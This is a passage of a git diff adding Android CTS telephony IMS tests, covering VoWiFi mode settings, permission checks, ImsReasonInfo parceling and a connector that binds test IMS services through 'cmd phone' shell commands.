+        // Set back to default
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVoWiFiModeSetting(oldMode));
+        overrideCarrierConfig(null);
+    }
+
+    /**
+     * Set the VoWiFi Mode setting and ensure the ContentResolver is triggered as well.
+     */
+    @Test
+    public void testVoWiFiRoamingModeSetting() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        PersistableBundle bundle = new PersistableBundle();
+        // Ensure the WFC roaming mode will be changed properly
+        bundle.putBoolean(KEY_USE_WFC_HOME_NETWORK_MODE_IN_ROAMING_NETWORK_BOOL, false);
+        bundle.putBoolean(KEY_EDITABLE_WFC_ROAMING_MODE_BOOL, true);
+        overrideCarrierConfig(bundle);
+        // Register Observer
+        Uri callingUri = Uri.withAppendedPath(
+                SubscriptionManager.WFC_ROAMING_MODE_CONTENT_URI, "" + sTestSub);
+        CountDownLatch contentObservedLatch = new CountDownLatch(1);
+        ContentObserver observer = createObserver(callingUri, contentObservedLatch);
+
+        ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+        int oldMode = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+                ImsMmTelManager::getVoWiFiRoamingModeSetting);
+        // Keep the mode in the bounds 0-2
+        int newMode = (oldMode + 1) % 3;
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVoWiFiRoamingModeSetting(newMode));
+
+        waitForLatch(contentObservedLatch, observer);
+        int newModeResult = ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+                ImsMmTelManager::getVoWiFiRoamingModeSetting);
+        assertEquals("getVoWiFiRoamingModeSetting was not set to value set by"
+                + "setVoWiFiRoamingModeSetting", newMode, newModeResult);
+
+        // Set back to default
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                (m) -> m.setVoWiFiRoamingModeSetting(oldMode));
+        overrideCarrierConfig(null);
+    }
+
+    /**
+     * Test Permissions on various APIs.
+     */
+    @Test
+    public void testMethodPermissions() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsMmTelManager mMmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+        // setRttCapabilitySetting
+        try {
+            mMmTelManager.setRttCapabilitySetting(false);
+            fail("setRttCapabilitySetting requires MODIFY_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                    (m) -> m.setRttCapabilitySetting(false),
+                    "android.permission.MODIFY_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("setRttCapabilitySetting requires MODIFY_PHONE_STATE permission.");
+        }
+        // setVoWiFiNonPersistent
+        try {
+            mMmTelManager.setVoWiFiNonPersistent(true,
+                    ImsMmTelManager.WIFI_MODE_CELLULAR_PREFERRED);
+            fail("setVoWiFiNonPersistent requires MODIFY_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mMmTelManager,
+                    (m) -> m.setVoWiFiNonPersistent(true,
+                            ImsMmTelManager.WIFI_MODE_CELLULAR_PREFERRED),
+                    "android.permission.MODIFY_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("setVoWiFiNonPersistent requires MODIFY_PHONE_STATE permission.");
+        }
+
+        try {
+            mMmTelManager.isTtyOverVolteEnabled();
+            fail("isTtyOverVolteEnabled requires READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+        try {
+            mMmTelManager.isSupported(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+                    AccessNetworkConstants.TRANSPORT_TYPE_WWAN, Runnable::run, (result) -> { });
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+        try {
+            mMmTelManager.getRegistrationState(Runnable::run, (result) -> { });
+            fail("getRegistrationState requires READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+        try {
+            mMmTelManager.getRegistrationTransportType(Runnable::run, (result) -> { });
+            fail("getRegistrationTransportType requires READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+
+        try {
+            mMmTelManager.isSupported(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+                    AccessNetworkConstants.TRANSPORT_TYPE_WWAN, Runnable::run, (result) -> { });
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissions(mMmTelManager,
+                    ImsMmTelManager::isTtyOverVolteEnabled,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        } catch (SecurityException e) {
+            fail("isTtyOverVolteEnabled requires READ_PRIVILEGED_PHONE_STATE permission.");
+        }
+        try {
+            LinkedBlockingQueue<Boolean> resultQueue = new LinkedBlockingQueue<>(1);
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+                    (m) -> m.isSupported(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+                            AccessNetworkConstants.TRANSPORT_TYPE_WWAN,
+                            // Run on the binder thread.
+                            Runnable::run,
+                            resultQueue::offer), ImsException.class,
+                    "android.permission.READ_PRIVILEGED_PHONE_STATE");
+            assertNotNull(resultQueue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } catch (SecurityException e) {
+            fail("isSupported requires READ_PRIVILEGED_PHONE_STATE permission.");
+        }
+        try {
+            LinkedBlockingQueue<Integer> resultQueue = new LinkedBlockingQueue<>(1);
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+                    (m) -> m.getRegistrationState(Runnable::run, resultQueue::offer),
+                    ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE");
+            assertNotNull(resultQueue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } catch (SecurityException e) {
+            fail("getRegistrationState requires READ_PRIVILEGED_PHONE_STATE permission.");
+        }
+        try {
+            LinkedBlockingQueue<Integer> resultQueue = new LinkedBlockingQueue<>(1);
+            ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mMmTelManager,
+                    (m) -> m.getRegistrationTransportType(Runnable::run, resultQueue::offer),
+                    ImsException.class, "android.permission.READ_PRIVILEGED_PHONE_STATE");
+            assertNotNull(resultQueue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        } catch (SecurityException e) {
+            fail("getRegistrationTransportType requires READ_PRIVILEGED_PHONE_STATE permission.");
+        }
+    }
+
+    private void overrideCarrierConfig(PersistableBundle bundle) throws Exception {
+        CarrierConfigManager carrierConfigManager = getContext().getSystemService(
+                CarrierConfigManager.class);
+        sReceiver.clearQueue();
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(carrierConfigManager,
+                (m) -> m.overrideConfig(sTestSub, bundle));
+        sReceiver.waitForCarrierConfigChanged();
+    }
+
+    private ContentObserver createObserver(Uri observerUri, CountDownLatch latch) {
+        ContentObserver observer = new ContentObserver(sHandler) {
+            @Override
+            public void onChange(boolean selfChange, Uri uri) {
+                if (observerUri.equals(uri)) {
+                    latch.countDown();
+                }
+            }
+        };
+        getContext().getContentResolver().registerContentObserver(observerUri, true, observer);
+        return observer;
+    }
+
+    private void waitForLatch(CountDownLatch latch, ContentObserver observer) {
+        try {
+            // Wait for the ContentObserver to fire signalling the change.
+            latch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail("Interrupted Exception waiting for latch countdown:" + e.getMessage());
+        } finally {
+            getContext().getContentResolver().unregisterContentObserver(observer);
+        }
+    }
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getContext();
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsReasonInfoTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsReasonInfoTest.java
new file mode 100644
index 0000000..181aa9d
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsReasonInfoTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.telephony.ims.ImsReasonInfo;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class ImsReasonInfoTest {
+    private ImsReasonInfo mInfo;
+    int mCode = ImsReasonInfo.CODE_LOCAL_IMS_SERVICE_DOWN;
+    int mExtraCode = ImsReasonInfo.EXTRA_CODE_CALL_RETRY_NORMAL;
+
+
+    @Test
+    public void testBasics() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        String extraMessage = null;
+        mInfo = new ImsReasonInfo(mCode, mExtraCode, extraMessage);
+        assertEquals(mCode, mInfo.getCode());
+        assertEquals(mExtraCode, mInfo.getExtraCode());
+        assertEquals(extraMessage, mInfo.getExtraMessage());
+    }
+    @Test
+    public void testParcelUnparcel() {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        String extraMessage = "oops";
+        mInfo = new ImsReasonInfo(mCode, mExtraCode, extraMessage);
+
+
+        Parcel parcel = Parcel.obtain();
+        mInfo.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        ImsReasonInfo unparceledInfo = ImsReasonInfo.CREATOR.createFromParcel(parcel);
+        parcel.recycle();
+
+        assertEquals(mCode, unparceledInfo.getCode());
+        assertEquals(mExtraCode, unparceledInfo.getExtraCode());
+        assertEquals(extraMessage, unparceledInfo.getExtraMessage());
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
new file mode 100644
index 0000000..dcc0f9a
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceConnector.java
@@ -0,0 +1,479 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import android.app.Instrumentation;
+import android.app.role.RoleManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.IBinder;
+import android.telephony.cts.TelephonyUtils;
+import android.telephony.cts.externalimsservice.ITestExternalImsService;
+import android.telephony.cts.externalimsservice.TestExternalImsService;
+import android.telephony.ims.feature.ImsFeature;
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Connects The CTS test ImsService to the Telephony Framework.
+ */
+class ImsServiceConnector {
+
+    private static final String TAG = "CtsImsServiceConnector";
+
+    private static final String PACKAGE_NAME =
+            InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageName();
+    private static final String EXTERNAL_PACKAGE_NAME =
+            TestExternalImsService.class.getPackage().getName();
+
+    private static final String COMMAND_BASE = "cmd phone ";
+    private static final String COMMAND_SET_IMS_SERVICE = "ims set-ims-service ";
+    private static final String COMMAND_GET_IMS_SERVICE = "ims get-ims-service ";
+    private static final String COMMAND_CARRIER_SERVICE_IDENTIFIER = "-c ";
+    private static final String COMMAND_DEVICE_SERVICE_IDENTIFIER = "-d ";
+    private static final String COMMAND_SLOT_IDENTIFIER = "-s ";
+    private static final String COMMAND_FEATURE_IDENTIFIER = "-f ";
+    private static final String COMMAND_ENABLE_IMS = "ims enable ";
+    private static final String COMMAND_DISABLE_IMS = "ims disable ";
+
+    private class TestCarrierServiceConnection implements ServiceConnection {
+
+        private final CountDownLatch mLatch;
+
+        TestCarrierServiceConnection(CountDownLatch latch) {
+            mLatch = latch;
+        }
+
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            mCarrierService = ((TestImsService.LocalBinder) service).getService();
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+            mCarrierService = null;
+        }
+    }
+
+    private class TestDeviceServiceConnection implements ServiceConnection {
+
+        private final CountDownLatch mLatch;
+
+        TestDeviceServiceConnection(CountDownLatch latch) {
+            mLatch = latch;
+        }
+
+        @Override
+        public void onServiceConnected(ComponentName name, IBinder service) {
+            mExternalService = ITestExternalImsService.Stub.asInterface(service);
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName name) {
+            mCarrierService = null;
+        }
+    }
+
+    public class Connection {
+
+        private static final int CONNECTION_TYPE_IMS_SERVICE_DEVICE = 1;
+        private static final int CONNECTION_TYPE_IMS_SERVICE_CARRIER = 2;
+        private static final int CONNECTION_TYPE_DEFAULT_SMS_APP = 3;
+
+        private boolean mIsServiceOverridden = false;
+        private String mOrigMmTelServicePackage;
+        private String mOrigRcsServicePackage;
+        private String mOrigSmsPackage;
+        private int mConnectionType;
+        private int mSlotId;
+        Connection(int connectionType, int slotId) {
+            mConnectionType = connectionType;
+            mSlotId = slotId;
+        }
+
+        void clearPackage() throws Exception {
+            mIsServiceOverridden = true;
+            switch (mConnectionType) {
+                case CONNECTION_TYPE_IMS_SERVICE_CARRIER: {
+                    setCarrierImsService("none");
+                    break;
+                }
+                case CONNECTION_TYPE_IMS_SERVICE_DEVICE: {
+                    setDeviceImsService("");
+                    break;
+                }
+                case CONNECTION_TYPE_DEFAULT_SMS_APP: {
+                    // We don't need to clear anything for default SMS app.
+                    break;
+                }
+            }
+        }
+
+        boolean overrideService(ImsFeatureConfiguration config) throws Exception {
+            switch (mConnectionType) {
+                case CONNECTION_TYPE_IMS_SERVICE_CARRIER: {
+                    return bindCarrierImsService(config, PACKAGE_NAME);
+                }
+                case CONNECTION_TYPE_IMS_SERVICE_DEVICE: {
+                    return bindDeviceImsService(config, EXTERNAL_PACKAGE_NAME);
+                }
+                case CONNECTION_TYPE_DEFAULT_SMS_APP: {
+                    setDefaultSmsApp(PACKAGE_NAME);
+                    break;
+                }
+            }
+            return false;
+        }
+
+        void restoreOriginalPackage() throws Exception {
+            if (!mIsServiceOverridden) {
+                return;
+            }
+
+            if (mOrigRcsServicePackage == null) {
+                mOrigRcsServicePackage = "";
+            }
+
+            if (mOrigMmTelServicePackage == null) {
+                mOrigMmTelServicePackage = "";
+            }
+
+            switch (mConnectionType) {
+                case CONNECTION_TYPE_IMS_SERVICE_CARRIER: {
+                    setCarrierImsService(mOrigMmTelServicePackage, ImsFeature.FEATURE_MMTEL);
+                    setCarrierImsService(mOrigRcsServicePackage, ImsFeature.FEATURE_RCS);
+                    break;
+                }
+                case CONNECTION_TYPE_IMS_SERVICE_DEVICE: {
+                    setDeviceImsService(mOrigMmTelServicePackage, ImsFeature.FEATURE_MMTEL);
+                    setDeviceImsService(mOrigRcsServicePackage, ImsFeature.FEATURE_RCS);
+                    break;
+                }
+                case CONNECTION_TYPE_DEFAULT_SMS_APP: {
+                    setDefaultSmsApp(mOrigSmsPackage);
+                    break;
+                }
+            }
+        }
+
+        private void storeOriginalPackage() throws Exception {
+            switch (mConnectionType) {
+                case CONNECTION_TYPE_IMS_SERVICE_CARRIER: {
+                    mOrigMmTelServicePackage = getOriginalMmTelCarrierService();
+                    mOrigRcsServicePackage = getOriginalRcsCarrierService();
+                    break;
+                }
+                case CONNECTION_TYPE_IMS_SERVICE_DEVICE: {
+                    mOrigMmTelServicePackage = getOriginalMmTelDeviceService();
+                    mOrigRcsServicePackage = getOriginalRcsDeviceService();
+                    break;
+                }
+                case CONNECTION_TYPE_DEFAULT_SMS_APP: {
+                    mOrigSmsPackage = getDefaultSmsApp();
+                    break;
+                }
+            }
+        }
+
+        private boolean setDeviceImsService(String packageName) throws Exception {
+            String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+                    constructSetImsServiceOverrideCommand(false, packageName, new int[] {
+                            ImsFeature.FEATURE_MMTEL, ImsFeature.FEATURE_RCS}));
+            if (ImsUtils.VDBG) {
+                Log.d(TAG, "setDeviceMmTelImsService result: " + result);
+            }
+            return "true".equals(result);
+        }
+
+        private boolean setCarrierImsService(String packageName) throws Exception {
+            String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+                    constructSetImsServiceOverrideCommand(true, packageName, new int[] {
+                            ImsFeature.FEATURE_MMTEL, ImsFeature.FEATURE_RCS}));
+            if (ImsUtils.VDBG) {
+                Log.d(TAG, "setCarrierMmTelImsService result: " + result);
+            }
+            return "true".equals(result);
+        }
+
+        private boolean setDeviceImsService(String packageName, int featureType) throws Exception {
+            String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+                    constructSetImsServiceOverrideCommand(false, packageName,
+                            new int[]{featureType}));
+            if (ImsUtils.VDBG) {
+                Log.d(TAG, "setDeviceMmTelImsService result: " + result);
+            }
+            return "true".equals(result);
+        }
+
+        private boolean setCarrierImsService(String packageName, int featureType) throws Exception {
+            String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+                    constructSetImsServiceOverrideCommand(true, packageName,
+                            new int[]{featureType}));
+            if (ImsUtils.VDBG) {
+                Log.d(TAG, "setCarrierMmTelImsService result: " + result);
+            }
+            return "true".equals(result);
+        }
+
+        private void setDefaultSmsApp(String packageName) throws Exception {
+            RoleManager roleManager = mInstrumentation.getContext()
+                    .getSystemService(RoleManager.class);
+            Boolean result;
+            LinkedBlockingQueue<Boolean> queue = new LinkedBlockingQueue<>(1);
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(roleManager,
+                    (m) -> m.addRoleHolderAsUser(RoleManager.ROLE_SMS, packageName, 0,
+                            android.os.Process.myUserHandle(),
+                            // Run on calling binder thread.
+                            Runnable::run, queue::offer));
+            result = queue.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            if (ImsUtils.VDBG) {
+                Log.d(TAG, "setDefaultSmsApp result: " + result);
+            }
+        }
+
+        private String getDefaultSmsApp() throws Exception {
+            RoleManager roleManager = mInstrumentation.getContext()
+                    .getSystemService(RoleManager.class);
+            List<String> result = ShellIdentityUtils.invokeMethodWithShellPermissions(roleManager,
+                    (m) -> m.getRoleHolders(RoleManager.ROLE_SMS));
+            if (ImsUtils.VDBG) {
+                Log.d(TAG, "getDefaultSmsApp result: " + result);
+            }
+            // There should only be one default sms app
+            return result.get(0);
+        }
+
+        private boolean bindCarrierImsService(ImsFeatureConfiguration config, String packageName)
+                throws Exception {
+            getCarrierService().setFeatureConfig(config);
+            return setCarrierImsService(packageName) && getCarrierService().waitForLatchCountdown(
+                            TestImsService.LATCH_FEATURES_READY);
+        }
+
+        private boolean bindDeviceImsService(ImsFeatureConfiguration config, String packageName)
+                throws Exception {
+            getExternalService().setFeatureConfig(config);
+            return setDeviceImsService(packageName) && getExternalService().waitForLatchCountdown(
+                    TestImsService.LATCH_FEATURES_READY);
+        }
+
+        private String getOriginalMmTelCarrierService() throws Exception {
+            String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+                    constructGetImsServiceCommand(true, ImsFeature.FEATURE_MMTEL));
+            if (ImsUtils.VDBG) {
+                Log.d(TAG, "getOriginalMmTelCarrierService result: " + result);
+            }
+            return result;
+        }
+
+        private String getOriginalRcsCarrierService() throws Exception {
+            String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+                    constructGetImsServiceCommand(true, ImsFeature.FEATURE_RCS));
+            if (ImsUtils.VDBG) {
+                Log.d(TAG, "getOriginalRcsCarrierService result: " + result);
+            }
+            return result;
+        }
+
+        private String getOriginalMmTelDeviceService() throws Exception {
+            String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+                    constructGetImsServiceCommand(false, ImsFeature.FEATURE_MMTEL));
+            if (ImsUtils.VDBG) {
+                Log.d(TAG, "getOriginalMmTelDeviceService result: " + result);
+            }
+            return result;
+        }
+
+        private String getOriginalRcsDeviceService() throws Exception {
+            String result = TelephonyUtils.executeShellCommand(mInstrumentation,
+                    constructGetImsServiceCommand(false, ImsFeature.FEATURE_RCS));
+            if (ImsUtils.VDBG) {
+                Log.d(TAG, "getOriginalRcsDeviceService result: " + result);
+            }
+            return result;
+        }
+
+        private String constructSetImsServiceOverrideCommand(boolean isCarrierService,
+                String packageName, int[] featureTypes) {
+            return COMMAND_BASE + COMMAND_SET_IMS_SERVICE + COMMAND_SLOT_IDENTIFIER + mSlotId + " "
+                    + (isCarrierService
+                        ? COMMAND_CARRIER_SERVICE_IDENTIFIER : COMMAND_DEVICE_SERVICE_IDENTIFIER)
+                    + COMMAND_FEATURE_IDENTIFIER + getFeatureTypesString(featureTypes) + " "
+                    + packageName;
+        }
+
+        private String constructGetImsServiceCommand(boolean isCarrierService, int featureType) {
+            return COMMAND_BASE + COMMAND_GET_IMS_SERVICE + COMMAND_SLOT_IDENTIFIER + mSlotId + " "
+                    + (isCarrierService
+                        ? COMMAND_CARRIER_SERVICE_IDENTIFIER : COMMAND_DEVICE_SERVICE_IDENTIFIER)
+                    + COMMAND_FEATURE_IDENTIFIER + featureType;
+        }
+
+        private String getFeatureTypesString(int[] featureTypes) {
+            if (featureTypes.length == 0) return "";
+            StringBuilder builder = new StringBuilder();
+            builder.append(featureTypes[0]);
+            for (int i = 1; i < featureTypes.length; i++) {
+                builder.append(",");
+                builder.append(featureTypes[i]);
+            }
+            return builder.toString();
+        }
+    }
+
+    private Instrumentation mInstrumentation;
+
+    private TestImsService mCarrierService;
+    private TestCarrierServiceConnection mCarrierServiceConn;
+    private ITestExternalImsService mExternalService;
+    private TestDeviceServiceConnection mExternalServiceConn;
+
+    private Connection mDeviceServiceConnection;
+    private Connection mCarrierServiceConnection;
+    private Connection mDefaultSmsAppConnection;
+
+    ImsServiceConnector(Instrumentation instrumentation) {
+        mInstrumentation = instrumentation;
+    }
+
+    void clearAllActiveImsServices(int slotId) throws Exception {
+        mDeviceServiceConnection = new Connection(Connection.CONNECTION_TYPE_IMS_SERVICE_DEVICE,
+                slotId);
+        mDeviceServiceConnection.storeOriginalPackage();
+        mDeviceServiceConnection.clearPackage();
+
+        mCarrierServiceConnection = new Connection(Connection.CONNECTION_TYPE_IMS_SERVICE_CARRIER,
+                slotId);
+        mCarrierServiceConnection.storeOriginalPackage();
+        mCarrierServiceConnection.clearPackage();
+
+        mDefaultSmsAppConnection = new Connection(Connection.CONNECTION_TYPE_DEFAULT_SMS_APP,
+                slotId);
+        mDefaultSmsAppConnection.storeOriginalPackage();
+        // No need to clear SMS App, only replace when necessary.
+    }
+
+    boolean connectCarrierImsService(ImsFeatureConfiguration config) throws Exception {
+        if (!setupLocalCarrierImsService()) {
+            Log.w(TAG, "connectCarrierImsService: couldn't set up service.");
+            return false;
+        }
+        mCarrierService.resetState();
+        return mCarrierServiceConnection.overrideService(config);
+    }
+
+    boolean connectDeviceImsService(ImsFeatureConfiguration config) throws Exception {
+        if (!setupExternalImsService()) {
+            Log.w(TAG, "connectDeviceImsService: couldn't set up service.");
+            return false;
+        }
+        mExternalService.resetState();
+        return mDeviceServiceConnection.overrideService(config);
+    }
+
+    void setDefaultSmsApp() throws Exception {
+        mDefaultSmsAppConnection.overrideService(null);
+    }
+
+    void disconnectCarrierImsService() throws Exception {
+        mCarrierServiceConnection.clearPackage();
+    }
+
+    void disconnectDeviceImsService() throws Exception {
+        mDeviceServiceConnection.clearPackage();
+    }
+
+    private boolean setupLocalCarrierImsService() {
+        if (mCarrierService != null) {
+            return true;
+        }
+        CountDownLatch latch = new CountDownLatch(1);
+        mCarrierServiceConn = new TestCarrierServiceConnection(latch);
+        mInstrumentation.getContext().bindService(new Intent(mInstrumentation.getContext(),
+                        TestImsService.class), mCarrierServiceConn, Context.BIND_AUTO_CREATE);
+        try {
+            return latch.await(5000, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            return false;
+        }
+    }
+
+    private boolean setupExternalImsService() {
+        if (mExternalService != null) {
+            return true;
+        }
+        CountDownLatch latch = new CountDownLatch(1);
+        mExternalServiceConn = new TestDeviceServiceConnection(latch);
+        Intent deviceIntent = new Intent();
+        deviceIntent.setComponent(new ComponentName(EXTERNAL_PACKAGE_NAME,
+                TestExternalImsService.class.getName()));
+        mInstrumentation.getContext().bindService(deviceIntent, mExternalServiceConn,
+                Context.BIND_AUTO_CREATE);
+        try {
+            return latch.await(5000, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            return false;
+        }
+    }
+
+    // Detect and disconnect all active services.
+    void disconnectServices() throws Exception {
+        // Remove local connection
+        if (mCarrierServiceConn != null) {
+            mInstrumentation.getContext().unbindService(mCarrierServiceConn);
+            mCarrierService = null;
+        }
+        if (mExternalServiceConn != null) {
+            mInstrumentation.getContext().unbindService(mExternalServiceConn);
+            mExternalService = null;
+        }
+        mDeviceServiceConnection.restoreOriginalPackage();
+        mCarrierServiceConnection.restoreOriginalPackage();
+        mDefaultSmsAppConnection.restoreOriginalPackage();
+    }
+
+    void enableImsService(int slot) throws Exception {
+        TelephonyUtils.executeShellCommand(mInstrumentation, COMMAND_BASE + COMMAND_ENABLE_IMS
+                + COMMAND_SLOT_IDENTIFIER + slot);
+    }
+
+    void disableImsService(int slot) throws Exception {
+        TelephonyUtils.executeShellCommand(mInstrumentation, COMMAND_BASE + COMMAND_DISABLE_IMS
+                + COMMAND_SLOT_IDENTIFIER + slot);
+    }
+
+    TestImsService getCarrierService() {
+        return mCarrierService;
+    }
+
+    ITestExternalImsService getExternalService() {
+        return mExternalService;
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
new file mode 100644
index 0000000..1772152
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -0,0 +1,1235 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.PersistableBundle;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SmsManager;
+import android.telephony.SmsMessage;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.cts.AsyncSmsMessageListener;
+import android.telephony.cts.SmsReceiverHelper;
+import android.telephony.cts.externalimsservice.ITestExternalImsService;
+import android.telephony.ims.ImsException;
+import android.telephony.ims.ImsManager;
+import android.telephony.ims.ImsMmTelManager;
+import android.telephony.ims.ImsRcsManager;
+import android.telephony.ims.ImsReasonInfo;
+import android.telephony.ims.ProvisioningManager;
+import android.telephony.ims.RegistrationManager;
+import android.telephony.ims.feature.ImsFeature;
+import android.telephony.ims.feature.MmTelFeature;
+import android.telephony.ims.feature.RcsFeature.RcsImsCapabilities;
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.Base64;
+import android.util.Pair;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
